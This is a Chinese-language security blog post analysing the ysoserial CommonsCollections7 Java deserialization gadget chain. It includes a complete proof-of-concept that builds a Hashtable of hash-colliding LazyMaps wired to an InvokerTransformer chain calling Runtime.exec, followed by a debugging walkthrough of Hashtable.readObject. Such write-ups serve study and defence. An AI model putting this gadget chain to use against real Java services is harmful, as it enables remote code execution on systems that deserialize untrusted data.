Ysoserial Commons Collections7分析

語言: CN / TW / HK

Ysoserial Commons Collections7分析

寫在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之後已修復不可利用)
CommonsCollections2 CommonsCollections 4.0 暫無限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之後已修復不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暫無限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(實測8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暫無限制
CommonsCollections7 CommonsCollections 3.1 - 3.2.1 暫無限制

CC7和CC1差不多,只是觸發 LazyMap.get() 的方式不一樣,反序列化的入口點變成了Hashtable類

Payload method chain: 因為chain發生了一些變化,這裡貼出來先留個印象,放便後續除錯時理解

java.util.Hashtable.readObject
  java.util.Hashtable.reconstitutionPut
  org.apache.commons.collections.map.AbstractMapDecorator.equals
  java.util.AbstractMap.equals
  org.apache.commons.collections.map.LazyMap.get
  org.apache.commons.collections.functors.ChainedTransformer.transform
  org.apache.commons.collections.functors.InvokerTransformer.transform
  java.lang.reflect.Method.invoke
  sun.reflect.DelegatingMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke0
  java.lang.Runtime.exec

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"open -a Calculator"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

PoC分析

前面部分基本都是CC1的老內容了,主要看下後面有關於Hashtable部分,主要是下面的一段程式碼

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了兩個HashMap物件,之後分別利用這兩個物件作為引數通過 LazyMap.decorate() 方法new了兩個LazyMap物件

丟擲問題:注意這裡的LazyMap中的 yyzZ ,這個命名是有說法的。

reconstitutionPut 方法中,可以看到 zZyy 的hash是一樣的,但是重點在於 index 的值,如果不符合語法會導致無法進入for迴圈也就觸發不了後續的利用鏈

(transformerChain是new的一個空ChainedTransformer物件)後續將這兩個LazyMap物件作為引數傳入 hashtable.put() 方法並put兩次。丟擲問題:為什麼要put兩次?

除錯時發現在 Hashtable#readObject() 方法有如下一個迴圈,在這個for迴圈中去呼叫的reconstitutionPut方法

第一次迴圈呼叫 reconstitutionPut 方法時並不會走進chain中提到的 equals 方法,因為 tab[index] 的值是0,後面才會對 tab[index] 進行賦值。

第二次才能進入for迴圈進而呼叫if判斷中的 equals 方法,這也是為什麼hashtable要put兩次的原因

除錯分析

Hashtable#readObject()下斷點,debug,跟進到 reconstitutionPut 方法

上面也提到了,第一次迴圈時並不能進入 equals 方法,這裡略去,直接跟進到第二次迴圈的時候,呼叫的是 LazyMap#equals 方法,繼續跟進,這裡呼叫的其實是 org/apache/commons/collections/map/AbstractMapDecorator 的equals方法

呼叫 AbstractMapequals 方法

AbstractMap#equals() 方法中最終呼叫了LazyMap.get()

後續就是進入 ChainedTransformer#transform() 方法,老生常談的東西了,最終是在 InvokerTransformer#transform() 中反射呼叫 exec 執行命令

END

至此CC1-7就都分析完了,後面幾個鏈分析的內容比較少,大部分都是前面的內容如果覺得不詳細可以看之前寫的CC1-3的文章,基本都涵蓋了後面分析時沒深入寫的老生常談的東西。後續應該會去跟一下ysoserial的原始碼,雖然之前分析URLDNS的時候就簡單看過如何生成payload。但是分析cc的時候就沒用ysoserial專案的原始碼(因為封裝的太多了:D)之後可能會把CC8-10拿出來寫成ysoserial的payload放進去。

Reference